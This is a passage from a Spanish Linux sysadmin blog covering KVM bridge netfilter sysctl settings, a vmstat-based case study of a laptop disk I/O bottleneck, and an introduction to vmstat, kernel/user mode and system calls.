inet addr:172.16.8.50 Bcast:172.16.8.50 Mask:255.255.255.0
inet6 addr: fe80::21e:67ff:fe1d:c88/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:112 errors:0 dropped:0 overruns:0 frame:0
TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:10872 (10.6 KiB) TX bytes:3411 (3.3 KiB)
[root@kvm ~]# brctl show
bridge name bridge id STP enabled interfaces
br0 8000.001e671d0c88 no eth0
vnet0
</pre></div>
A este mismo bridge podemos real izarlo manualmente usando <i>ifconfig(1)</i> y <i>brctl</i>, pero como saben, la configuración no quedará persistente.<br/>
Existen dos <i>sysctl</i> que pueden resultar interesantes si además realizamos filtrado mediante <i>iptables</i>, <i>ip6tables</i> o <i>arptables</i>, ellas son: <i>net.bridge.bridge-nf-call-ip6tables
net.bridge.bridge-nf-call-iptables</i> y <i>net.bridge.bridge-nf-call-arptables</i>. Las cuales desactivan <i>Netfilter</i> en el brige anteriormente creado. Para activar <i>Netfilter</i> y poder filtrar en nuestras interfaces debemos configurar en el archivo </i>/etc/sysctl.conf</i>, lo siguiente:
<div class="highlight" ><pre><span style="color: #60a0b0; font-style: italic"># Disable netfilter on bridges.</span>
<span style="color: #60a0b0; font-style: italic"></span>net.bridge.bridge-nf-call-ip6tables <span style="color: #666666">=</span> 0
net.bridge.bridge-nf-call-iptables <span style="color: #666666">=</span> 1
net.bridge.bridge-nf-call-arptables <span style="color: #666666">=</span> 0
</pre></div>
Y luego ejecutar lo siguiente:
<div class="highlight" ><pre><span style="color: #666666">[</span>root@kvm ~]# sysctl -p
</pre></div>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-51021413060169365502012-04-18T02:43:00.001-03:002012-10-27T21:02:19.624-03:00Performance analysis: A study case (bottleneck)Como una manera de seguir ilustrando el post anterior <a href="http://codigounix.blogspot.com.ar/2012/04/performance-analysis-understanding.html"><b>"Performance analysis: Understanding the vmstat comand output"</b></a>, vamos a realizar un rápido análisis de un bottleneck producido en un equipo debido a la baja lentitud de la controladora de disco. Si bien en este caso el equipo no es más que una laptop, ejemplifica bien lo que es el estudio de performance que puede aplicarse a una gran variedad de equipos. Como en esta serie de post, solo hemos tratado con <i>vmstat(1)</i>, utilizaremos tal herramienta para realizar el análisis.
<br />
<br />
<b><u>Síntomas</u></b>
<br />
El equipo, en momentos en los que se sometía a alta carga de trabajo de I/O se volvía extremadamente lento, dejando de responder por momentos, no habiendo otra solución que apagarlo, o esperar un buen rato. Si bien es entendible que el mismo se "quede" sin memoria y swapee, esto no se hacía de una manera tan agresiva, por lo cual se analizara la existencia de otro problema.
<br />
<br />
<b><u>Descripción del equipo</u></b>
<br />
El equipo es una laptop HP 420, con una <i>CPU Pentium(R) Dual-Core CPU T4500 @ 2.30GHz</i>, en cuanto a su memoría RAM se encuentra conectado un módulo DDR2 de 2 Gb. además cuenta con un disco rígido <i>Western Digital WDC WD5000BPVT-00HXZT3</i> utilizando la interfaz SATAII. El sistema operativo que corre en el mismo es Linux (Fedora 16), x86_64, utilizando el kernel <i>3.3.1-5.fc16.x86_64</i>. Sin entrar en más detalles vemos que dice <i>lspci(1)</i>, sobre los dispositivos conectados al mismo:
<a name='more'></a>
<br />
<div class="highlight">
<pre>00:00.0 Host bridge: Intel Corporation Mobile 4 Series Chipset Memory Controller Hub (rev 07)
00:1a.0 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #4 (rev 03)
00:1a.1 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #5 (rev 03)
00:1a.2 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #6 (rev 03)
00:1a.7 USB Controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #2 (rev 03)
00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 1 (rev 03)
00:1c.1 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 2 (rev 03)
00:1c.2 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 3 (rev 03)
00:1c.4 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 5 (rev 03)
00:1c.5 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 6 (rev 03)
00:1d.0 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #1 (rev 03)
00:1d.1 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #2 (rev 03)
00:1d.2 USB Controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #3 (rev 03)
00:1d.7 USB Controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #1 (rev 03)
00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev 93)
00:1f.0 ISA bridge: Intel Corporation ICH9M LPC Interface Controller (rev 03)
00:1f.2 SATA controller: Intel Corporation ICH9M/M-E SATA AHCI Controller (rev 03)
02:00.0 Network controller: Ralink corp. RT3090 Wireless 802.11n 1T/1R PCIe
</pre>
</div>
El primer paso del análisis consintió en reproducir el síntoma haciendo simplemente un <i>yum update</i>. Los paquetes a actualizar eran cuatro y no representaban más de 8 megas, la descarga de los mismos se produjo de manera adecuada y en tiempos aceptables. Por lo cual, se instrumento <i>vmstat(1)</i> tomar muestras cada 1 segundo y así conocer la utilización de los distintos componentes del equipo y si se producía en algún caso <b>saturación</b>. Bajo un funcionamiento normal, <i>vmstat(1)</i> en el equipo reporta lo siguiente:
<br />
<div class="highlight">
<pre>procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
r b swpd free buff cache si so bi bo in cs us sy id wa st
0 0 643000 125868 17100 308404 0 0 0 0 1759 2977 21 5 74 0 0
0 0 643000 125744 17100 308448 0 0 0 0 1866 2442 28 3 69 0 0
1 0 643000 125744 17100 308448 0 0 0 40 1774 1935 31 4 66 0 0
1 0 643000 125868 17108 308376 0 0 0 16 1837 1765 36 3 58 3 0
0 0 643000 124876 17108 308772 0 0 0 0 1621 1949 23 3 74 0 0
0 0 643000 124844 17108 308772 0 0 0 0 1252 1057 12 1 87 0 0
2 0 643000 125092 17116 308364 0 0 0 24 1555 2377 17 4 76 3 0
0 0 642988 125496 17128 308396 0 0 0 156 1593 1578 22 3 71 4 0
1 0 642988 125496 17136 308400 0 0 0 32 1781 2525 21 4 71 4 0
0 0 642988 125496 17136 308400 0 0 0 0 2012 3000 32 4 64 0 0
1 1 642988 125404 17144 308392 0 0 0 72 1887 3008 25 4 71 1 0
0 0 642988 126044 17144 308404 0 0 0 4 1918 2502 28 5 65 3 0
0 0 642988 126572 17152 308396 0 0 0 88 2083 3117 32 4 62 2 0
1 0 642988 125952 17152 308404 0 0 4 0 1511 1519 19 3 78 0 0
0 0 642988 129832 17160 308404 0 0 0 20 2193 3602 34 4 58 4 0
2 0 642988 129756 17160 308444 0 0 0 0 1620 1719 21 3 77 0 0
1 0 642988 129848 17160 308444 0 0 0 64 1817 2590 21 4 75 0 0
0 0 642988 129784 17168 308320 0 0 0 28 1673 1748 19 2 75 4 0
1 0 642988 130004 17168 308380 0 0 28 0 1893 2270 27 4 68 2 0
0 0 642988 129816 17176 308396 0 0 0 20 1630 1895 21 3 74 2 0
0 0 642976 129756 17184 308424 28 0 28 172 1727 1828 27 4 66 3 0
</pre>
</div>
Podemos ver que la <i>run queue</i>, en ningún momento sobrepasa la cantidad de cores del equipo (2), si bien el consumo de memoria esta un poco elevado tampoco es excesivo. En las columnas relacionadas a los discos (bi/bo), podemos observar que se están leyendo algunos bloques (cada bloque tiene un tamaño de 1024 kb), por lo cual una lectura de 50 bloques representa 5120 kb. Las interrupciones se mantienen dentro de los parámetros de la normalidad, como así también los context switch. En cuanto al consumo de CPU y su utilización el <i>idle</i> es relativamente bueno, teniendo en cuenta que el equipo es una laptop, y la mayor cantidad de tiempo de CPU se esta consumiendo en <i>userspace</i> (aproximadamente un 25%). <br />
En el post anterior, hablé sobre la relación de la columna <i>"b"</i> y la columna <i>"wa"</i> (Waiting for I/O), si bien aquí el tiempo de Waiting for I/O que se muestra es muy bajo vale la pena recordar que los procesos o threads pueden estar sleeping en dos formas diferentes:<br />
<br />
<u><b>Interruptible sleep:</b></u> Aquellos procesos que están esperando alguna señal para despertar y volver a ejecutarse (por ejemplo que se les notifique que X tarea fue completada).
<br />
<br />
<u><b>Uninterruptible sleep:</b></u> Aquellos procesos los cuales se encuentran aguardando algún tipo de evento externo para poder continuar, por ejemplo esperando I/O.
<br />
<br />
Esto puede ser indicio de un cuello de botella en una controladora de disco, o en el propio arreglo de discos que utiliza el equipo (sea local, o mediante un storage externo). <br />
Durante momentos de carga más elevada, se llegaron a ver muestras como la siguiente:
<br />
<div class="highlight">
<pre>procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
r b swpd free buff cache si so bi bo in cs us sy id wa st
0 1 647756 72388 1332 318084 0 80 11432 80 2143 2507 22 12 28 38 0
0 1 648276 75008 1324 313328 0 520 7432 520 1907 2451 18 8 39 35 0
0 2 648276 76248 1328 311652 0 0 2636 0 1381 2049 6 4 41 50 0
0 2 648276 71660 2728 314488 0 0 3732 0 1237 1939 8 4 40 48 0
0 1 648356 75132 4248 309420 0 80 5068 80 1935 2770 15 8 23 54 0
0 1 648404 75132 4660 308220 0 48 2772 48 1591 2363 8 4 41 47 0
1 2 648388 89116 4660 312252 108 0 4120 0 1084 2003 3 4 38 56 0
0 2 648372 83164 5376 316324 40 0 4624 0 1109 1836 6 4 43 47 0
0 2 648364 85388 5668 313564 20 0 3028 160 893 1422 4 4 31 62 0
1 4 648328 75032 5816 322396 56 0 2712 92 1556 2504 14 6 30 51 0
2 2 648292 73484 5816 323456 96 0 2900 48 1565 3009 14 5 33 48 0
0 2 648292 68928 5816 326612 44 0 3744 0 2349 3104 41 8 18 32 0
0 2 648292 64464 5816 330776 20 0 4300 0 2084 4249 20 7 27 46 0
0 4 648488 68228 6004 327264 56 208 3884 216 1682 2576 10 5 17 68 0
2 6 648500 68640 6272 324992 112 72 4648 360 1439 2003 9 5 1 85 0
0 4 648684 65912 5864 328392 64 208 5680 268 1923 2577 10 7 12 72 0
0 6 648776 63272 5868 333172 0 108 6932 108 1959 2491 14 8 11 68 0
0 2 648836 67172 5884 329808 32 64 1388 72 1798 3385 11 5 17 68 0
1 3 648940 73000 5912 324516 0 104 1072 196 1581 2322 5 3 6 86 0
0 4 648908 70464 6060 329648 0 40 3008 132 2183 2948 12 6 3 79 0
3 3 649068 73316 6096 326456 4 168 1072 372 2106 3319 25 6 3 66 0
</pre>
</div>
<br />
Tenemos una salida más que interesante para analizar. Si prestan atención, la <i>run queue</i>, en ningún momento excede el número de CPU's conectadas al equipo, por lo cual de manera grotesca podríamos descartar un problema de saturación de las CPUs, también y como era esperable, podemos notar que nuestra memoria RAM libre, se redujo en un 20%, y por lo tanto algunas páginas de memoria fueron swappeadas a disco, lo que representa un aumento en las operaciones de I/O para la controladora de discos SATA, y el disco conectado al equipo propiamente dicho. Las interrupciones se mantienen dentro de los parámetros de la normalidad, como así también los cambios de contexto. Pero si prestamos atención con un poco de detenimiento nuestro Waiting for I/O (columna <i>wa</i>), esta bastante elevada, pero sin lograr saturar, manteniendose en valores rondando el 60% en una gran parte del tiempo. Los procesos con estado <b>initerrumpible sleep</b>, se mantienen en una constante comprendida entre 1 y 6, lo que representa una ocupación un poco alta del dispositivo. Estos procesos, están a la espera de algún tipo de evento externo para poder continuar con su ejecución normal, en este caso esperando I/O. Lo cual es un indicio clave de un pequeño bottleneck posiblemente ocasionado en la controladora de discos o en el propio disco (5400 rpm).<br />
Este tipo de datos es interesante graficarlos utilizando en mi caso <i>gnuplot</i>, de esta manera es posible realizar un análisis mas detallado de la información brindada y conocer el momento en que se alcanza el througput máximo de utilización.
<br />
<br />
<u>En el primer caso veremos la utilización de la CPU:</u><br />
<span style="font-size: x-small;">(<i>System time (%sy), User time (%us), Waiting for I/O (%wa) e Idle time (%id)).
</i></span><br />
<div class="separator" style="clear: both; text-align: center;">
<i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiADahNOUUa4BgXgkWECi8xXSCu4bQtkiVW35FwIgNUZ5Z0YVXmURfC3227CL2yXyHQIpFn2flzMSzls-jH4Th1aV0p-L8KEFyNBETeXvTjxlp7W_ho8mnDd6p2v409J491jP6OEPJFJtE/s1600/cpu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiADahNOUUa4BgXgkWECi8xXSCu4bQtkiVW35FwIgNUZ5Z0YVXmURfC3227CL2yXyHQIpFn2flzMSzls-jH4Th1aV0p-L8KEFyNBETeXvTjxlp7W_ho8mnDd6p2v409J491jP6OEPJFJtE/s1600/cpu.png" /></a></i></div>
En el gráfico podemos observar que el tiempo empleado en Waiting for I/O tiene picos que llegan al 86%, lo cual es altísimo, mientras que por su parte el User time y el System time se mantienen bajos.<br />
<u style="font-style: italic;">Veamos ahora un gráfico de los procesos:</u><br />
<span style="font-style: italic;"><span style="font-size: x-small;">(<i>run queue</i> y procesos bajo <i>uninterruptible sleep</i>)</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijA8u3qcWPI7ZooUXBlHUArsVT2EJfRNe5SlWA7YaP0EUGIXhwLP2WTp2aqlnLx9rV_7Iq7Uc3UVDJSoQ1Uu7hkj1FQVvTJFMF3RI9pJSadkSWhl6vlJGbqeCvGDHJfXOSE4OZv-6KDVE/s1600/procs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijA8u3qcWPI7ZooUXBlHUArsVT2EJfRNe5SlWA7YaP0EUGIXhwLP2WTp2aqlnLx9rV_7Iq7Uc3UVDJSoQ1Uu7hkj1FQVvTJFMF3RI9pJSadkSWhl6vlJGbqeCvGDHJfXOSE4OZv-6KDVE/s1600/procs.png" /></a></i></div>
A simple vista podemos notar un pico bastante importante de procesos en el estado uninterrumpible sleep, a la espera de I/O para poder continuar, también podemos notar un mantenimiento constante de el tiempo de CPU empleado esperando I/O.<br />
<u style="font-style: italic;">Veamos a continuación la utilización de la memoria, la swap y el I/O:</u><br />
<span style="font-style: italic;"><span style="font-size: x-small;">(<i>swap, free, cache, buffers - si, so - bi, bo</i>)</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg67AVHE3kATGT2APrR3-LauyYzt94yPVB-952SrQV5XwXyJS5KJdg32VzL5Riio7KDx-LdHhzmCtoesKnq3OZ7RMZk7qYn8TSwc2D068K3_qisxSfRm7iU2KPJygdDBNJe-7hV539pBZ8/s1600/memory.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg67AVHE3kATGT2APrR3-LauyYzt94yPVB-952SrQV5XwXyJS5KJdg32VzL5Riio7KDx-LdHhzmCtoesKnq3OZ7RMZk7qYn8TSwc2D068K3_qisxSfRm7iU2KPJygdDBNJe-7hV539pBZ8/s1600/memory.png" /></a></i></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5yqBxiFaag5J2D4CkqrF8W6oxuQUmmQqQ3eQA92qtwJw-aQ4l5GpA9PZ3w3LYBzQa69jQgSPoHz9Ywgg5t9ODh3EY9psslzHI7pfsLVPqEId01stwMaMR3-zV3FVLqBy0ZLuA8X-GEqw/s1600/swap.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5yqBxiFaag5J2D4CkqrF8W6oxuQUmmQqQ3eQA92qtwJw-aQ4l5GpA9PZ3w3LYBzQa69jQgSPoHz9Ywgg5t9ODh3EY9psslzHI7pfsLVPqEId01stwMaMR3-zV3FVLqBy0ZLuA8X-GEqw/s1600/swap.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIED9oeKPxS1kpYB1p3JNphBkVWQtJYnGV_sqqgZpWXxc19CYgdCjEnvF2VP8jahw0BErL6mzSvE9YNMBEyMxo7X70eG1JWOWXdx39ljOSipon7WulrOCjoyhWxXlublC9w5OpgQTpj_c/s1600/io.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIED9oeKPxS1kpYB1p3JNphBkVWQtJYnGV_sqqgZpWXxc19CYgdCjEnvF2VP8jahw0BErL6mzSvE9YNMBEyMxo7X70eG1JWOWXdx39ljOSipon7WulrOCjoyhWxXlublC9w5OpgQTpj_c/s1600/io.png" /></a></div>
En el análisis de estas tres variables, podemos ver que el consumo de swap se mantiene constante, con una leve curva ascendente que rondando los 600 mb., además existe una disminución de la memoria en ciertos momentos, lo que fuerza al equipo a mandar páginas de memoria virtual no utilizada por los procesos a disco, esta tendencia a swappear fuerza a operaciones de I/O que llegan a picos máximos de 1600 kilobytes por segundo, lo cual puede combinarse estadísticamente con nuestro elevado Waiting for I/O y los procesos en estado ininterrumpible sleep.
<br />
<br />
<b><u>Pasos siguientes:</u></b>
<br />
Determinar la existencia o no de errores en los discos (<i>hdparm, SMART</i>), comprobar la existencia de errores de filesystem en los del sistema, comprobar las opciones de montaje de los distintos filesystems. Hacer diagnósticos mas extensivos con herramientas tales como <i>iostat(1)</i>.
<br />
<br />
<b><u>Conclusión:</u></b>
<br />
En este caso, no se reportaron errores de disco ni filesystems, las opciones de montaje se encontraban correctas.<br />
El problema es una combinación de tres factores, un disco de baja velocidad, una controladora de disco de baja performance, además de tener una baja cantidad de memoria RAM física instalada en el equipo lo que fuerza a una utilización aún mayor de los subsistemas de I/O.tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-21709978817321631382012-04-15T04:26:00.000-03:002012-10-27T21:06:08.265-03:00Performance analysis: Understanding the vmstat command outputTodo sysadmin que se digne de tal, tiene la capacidad de optimizar sus equipos para soportar las distintas situaciones de carga a las que se puede ver sometido o resolver bottlenecks que puedan llegar a producirse. Existen varias situaciones que pueden sobrecargar un equipo, y siempre es útil comprender cuando se producen y los procedimientos para remediarlas.<br />
La performance es un área difícil de comprender, pero fundamental a la hora de administrar sistemas. <br />
Durante este post vamos a intentar comprender la salida de <i>vmstat(8)</i>, un comando disponible en la mayoría de los sistemas Unix, en nuestro caso vamos a enfocarnos en Linux, y analizaremos algunas situaciones las cuales pueden llevar a una sobrecarga de performance. <br />
Existen numerosas herramientas para analizar esto, pero muchas de ellas dan su punto de partida en vmstat(8), para luego enfocar en herramientas más específicas como<i> iostat(8), mpstat(1), o sar(1)</i>. Para un mayor entendimiento de performance y las herramientas utilizadas les recomiendo el blog de <a href="http://dtrace.org/blogs/brendan/">Brendan Gregg</a>, o también leer el libro <i>"<a href="http://www.amazon.com/Solaris-Performance-Tools-Techniques-OpenSolaris/dp/0131568191">Solaris™ Performance and Tools: DTrace and MDB Techniques for Solaris 10 and OpenSolaris</a>" por Richard McDougall, Jim Mauro y Brendan Gregg</i>
<a name='more'></a>
<br />
<br />
<u>Según su propia manpage vmstat(8):</u> <i>reports information about processes, memory, paging, block IO, traps, disks and cpu activity.</i>
<br />
<br />
Nosotros enfocaremos este post en entender la información proporcionada por los procesos, la memoría, el I/O y la utilización de la CPU. Pero antes de entrar de lleno en esto, hay algunas cosas que tenemos que comprender primero.
<br />
<br />
Los sistemas operativos modernos, trabajan en distintos modos a fin de garantizar una mayor seguridad y proteger las aplicaciones unas de otras. Actualmente en PC x86/x86_64 podemos definir algunos modos de operación como es el <b>modo real </b>(utilizado durante el booteo),<b> modo protegido</b> (proteger la memoría virtual),<b> long mode</b> (modo de operación 64 bits), <b>modo virtual 8086</b> (retrocompatibilidad binaria con antiguos procesadores). El modo protegido, planea una interfaz de llamadas al sistema (syscall) para poder acceder al hardware, evitando de esta manera que un usuario tenga acceso directo al I/O y sea el kernel, el responsable de realizar estas actividades, es por ello que fueron diseñados básicamente un sistema de privilegios basados en rings, el ring0 también conocido como kernel mode, y el ring 3, denominado userspace.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBeIuSa9S5WNnGORSg6ibsYjOw5Wl92oFDgvfX6veNsfPyURn0julSVRQGN0SqFbJ6TA-RI4XwpPHdf8_4UXwgtifvXDiMAdnoQ5j-AWPqzyYs8h5yfi6kaTDG3H4F2v1SV0FxbCAkjMQ/s1600/rings.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBeIuSa9S5WNnGORSg6ibsYjOw5Wl92oFDgvfX6veNsfPyURn0julSVRQGN0SqFbJ6TA-RI4XwpPHdf8_4UXwgtifvXDiMAdnoQ5j-AWPqzyYs8h5yfi6kaTDG3H4F2v1SV0FxbCAkjMQ/s320/rings.jpg" width="320" /></a></div>
<br />
<u style="font-weight: bold;">Kernel mode:</u> En este modo es el kernel, y sus drivers (módulos) quienes pueden ejecutarse, se reserva un espacio de memoria virtual donde solo puede estar mapeado el kernel, sus extensiones y como dije anteriormente sus drivers.<br />
<br />
<u style="font-weight: bold;">Userspace:</u> Solo se ejecutan las aplicaciones de usuario, para acceder al kernel mode se necesitan efectuar llamadas al sistema, reserva un rango de direcciones de memoria donde las aplicaciones y librerías (o bibliotecas, para los puristas) del userspace (denominadas userland) pueden ejecutarse.<br />
<br />
Veamos un ejemplo sencillo en ANSI C y luego en ensamblador para INTEL x86 sobre como el sistema operativo hace uso de esta interfaz para poder realizar un sencillo <i>exit</i>.<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=n0u4n6QC">
</script>
<br />
Las llamadas al sistema en Linux, se realizan de una manera bastante sencilla, cada una de ellas es mapeada a un código hexadecimal, por ejemplo la syscall <i>0x1h</i> (1 en decimal), representa <i>exit</i>, la syscall <i>0x4h</i> (4 en decimal), representa a <i>write</i> y <i>0x37h</i> (55 en decimal) es <i>kill</i>.<br />
Este código hexadecimal es posicionado en un registro de propósito general en la CPU, en el caso de un procesador 32 bits este registro es <i>%EAX</i> o %RAX si contamos con 64 bits.<br />
Luego los siguientes argumentos que lleva la syscall son posicionados en otros registros de propósito general como es el caso de <i>%EBX, %ECX y %EDX</i> (en 32 bits).
Si miramos dentro de la manpage de <i>_exit(2)</i> podemos ver:<br />
<br />
<div class="highlight">
<pre>NAME
_exit, _Exit - terminate the calling process
SYNOPSIS top
#include <unistd.h>
void _exit(int status);
#include <stdlib.h>
void _Exit(int status);
Feature Test Macro Requirements for glibc (see feature_test_macros(7)):
_Exit():
_XOPEN_SOURCE >= 600 || _ISOC99_SOURCE || _POSIX_C_SOURCE >= 200112L;
or cc -std=c99
DESCRIPTION
The function _exit() terminates the calling process "immediately". Any open
file descriptors belonging to the process are closed; any children of the
process are inherited by process 1, init, and the process's parent is sent a
SIGCHLD signal.
The value status is returned to the parent process as the process's exit
status, and can be collected using one of the wait(2) family of calls.
The function _Exit() is equivalent to _exit().
CONFORMING TO
SVr4, POSIX.1-2001, 4.3BSD. The function _Exit() was introduced by C99.
NOTES
For a discussion on the effects of an exit, the transmission of exit status,
zombie processes, signals sent, etc., see exit(3).
The function _exit() is like exit(3), but does not call any functions
registered with atexit(3) or on_exit(3). Whether it flushes standard I/O
buffers and removes temporary files created with tmpfile(3) is implementation-
dependent. On the other hand, _exit() does close open file descriptors, and
this may cause an unknown delay, waiting for pending output to finish. If the
delay is undesired, it may be useful to call functions like tcflush(3) before
calling _exit(). Whether any pending I/O is canceled, and which pending I/O
may be canceled upon _exit(), is implementation-dependent.
In glibc up to version 2.3, the _exit() wrapper function invoked the kernel
system call of the same name. Since glibc 2.3, the wrapper function invokes
exit_group(2), in order to terminate all of the threads in a process.
SEE ALSO
execve(2), exit_group(2), fork(2), kill(2), wait(2), wait4(2), waitpid(2),
atexit(3), exit(3), on_exit(3), termios(3)
</pre>
</div>
Por lo cual, podemos apreciar que <i>_exit</i>, cumple la función de terminar un proceso de manera inmediata, y además cualquier file descriptor (fd) abierto es cerrado de manera inmediata. Esto es logrado mediante un wrapper que invoca a <i>exit_group(2)</i> en la <i>glibc</i> (mayor a 2.3), haciendo la systemcall <i>exit(2)</i>. <i>exit_group(2)</i> es utilizada para que todos los threads de un proceso sean terminados. En nuestro ejemplo a <i>exit</i> debemos pasarle un argumento, del tipo entero (int de ahora en más), para retornar un <i>exit status</i>, que posteriormente podemos comprobarlo en el shell instanciando a la variable <i>$?</i>.<br/><br />
<u>Esto, en ensamblador INTEL x86 quedaría así:</u><br />
<br />
<script src="http://pastebin.com/embed_js.php?i=Q0M9jUKd">
</script>
<br />
Si miramos este código con algo de atención podemos notar que lo primero que se efectua es posicionar el valor 0x1h, dentro del registro <i>%EAX</i>, que se está refiriendo a la syscall <i>exit(2)</i>, en el segundo paso, posiciona el <i>exit status</i> (0), dentro del registro <i>%EBX</i>, y paso final llama a la interrupción 0x80h (<i>int 0x80</i>). Esta interrupción es muy importante en Linux, y es la que efectúa el switcheo de un código ejecutándose binariamente en el userspace, a pasar a ejecutarse en el kernel mode. Esto, se lo conoce como <b>Context switching</b>.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8wsV7ytpVWvyW6rLnATd2M020WyudzpGMSHEkMfnHkoFku_iqRKSLia-NXBNdfwQAFMhh_3K9BG2b389bmGPrvR2Rlfny7yGknGKEPq2VP12wCikhvq9KBrOoW8scZ8mwb6SkNnm5zP4/s1600/Userspace.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8wsV7ytpVWvyW6rLnATd2M020WyudzpGMSHEkMfnHkoFku_iqRKSLia-NXBNdfwQAFMhh_3K9BG2b389bmGPrvR2Rlfny7yGknGKEPq2VP12wCikhvq9KBrOoW8scZ8mwb6SkNnm5zP4/s320/Userspace.jpg" width="320" /></a></div>
<br />
Por lo cual, podemos concluir que una aplicación de usuario (userland) se ejecuta en el Userspace, y para poder ejecutarse en kernel mode, necesita hacer uso de llamadas al sistema (syscall), que es provista por el kernel, quién el, junto a los drivers será capaz de interactuar directamente con el hardware. Entonces, podemos plantearnos el siguiente interrogante, ¿que pasaría si notamos un consumo elevado de la CPU, y podemos apreciar una enorme cantidad de context switchs (CS)?. Bien, podemos deducir que una aplicación del userland, es quien esta generando un importante número de llamadas al sistema y debemos revisar nuestros procesos que se estén ejecutando a ver quién es el responsable.
<br />
<br />
<b><u>Procesos y threads:</u></b>
<br />
Podemos definir a un proceso como una instancia de un programa en ejecución que a reservado memoria para su uso, todo proceso al momento de su creación lleva asignado un número de PID (Process ID), y un número de PPID (Process Parent ID), esto es debido a que en Linux, y muchos otros Unix, los procesos nacen por medio de una familia de syscalls denominada <i>fork</i> (fork, vfork).
Estos procesos, crean en la memoria virtual (VM) ciertos segmentos, que luego mediante el sistema de IPC (Inter Process Comunication), se establecen permisos de acceso. Entre estas secciones podemos encontrar la sección <i>.TEXT</i> donde se encuentra mapeado la porción de código en ejecución a nivel binario, <i>.STACK</i>, una estructura bastante dinamica en forma de pila que hace uso del método LIFO (Last In, First Out) sobre los datos que puede almacenar, el <i>.HEAP</i>, <i>.BSS</i>, entre otras. Los procesos, tienen la particularidad de que su segmento reservado de memoria puede ser accedido únicamente por ellos (a menos que el mismo mapee una porción como SHM). Por su parte los threads, los cuales son procesos livianos, comparten entre ellos la misma "imagen" de memoría, de forma que pueden acceder indistintamente a ellos, dando lugar en los peores casos a race conditions y deadlocks. Para evitar esto, existen algoritmos que emplean por ejemplo la exclusión mutua y se hace uso de los semáforos. Veamos un pequeño ejemplo a continuación, en el cual varios trheads intentan acceder a un mismo recurso, en el mismo instante de tiempo:
<br /><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHhQDLo8Iwu-rCJ5nPlZtNaZqEke-gMX0xtLB5OlOkqtUnzVGVvTQHLA6f_8jYyv10v-tmmkKBMWgj9BVhDdMoL1IRNwDb423guhwzSGy2Y_iGyqFX33MxfF3rJsabEeHVLI2b5ODqPYQ/s1600/deadlock.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHhQDLo8Iwu-rCJ5nPlZtNaZqEke-gMX0xtLB5OlOkqtUnzVGVvTQHLA6f_8jYyv10v-tmmkKBMWgj9BVhDdMoL1IRNwDb423guhwzSGy2Y_iGyqFX33MxfF3rJsabEeHVLI2b5ODqPYQ/s320/deadlock.png" width="320" /></a></div>
<br />
